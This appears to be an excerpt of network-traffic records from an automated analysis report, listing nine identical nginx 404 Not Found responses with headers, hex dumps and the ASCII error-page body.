Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:13 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:18 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:20 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:22 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:24 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:30 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:32 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:34 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:34:36 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
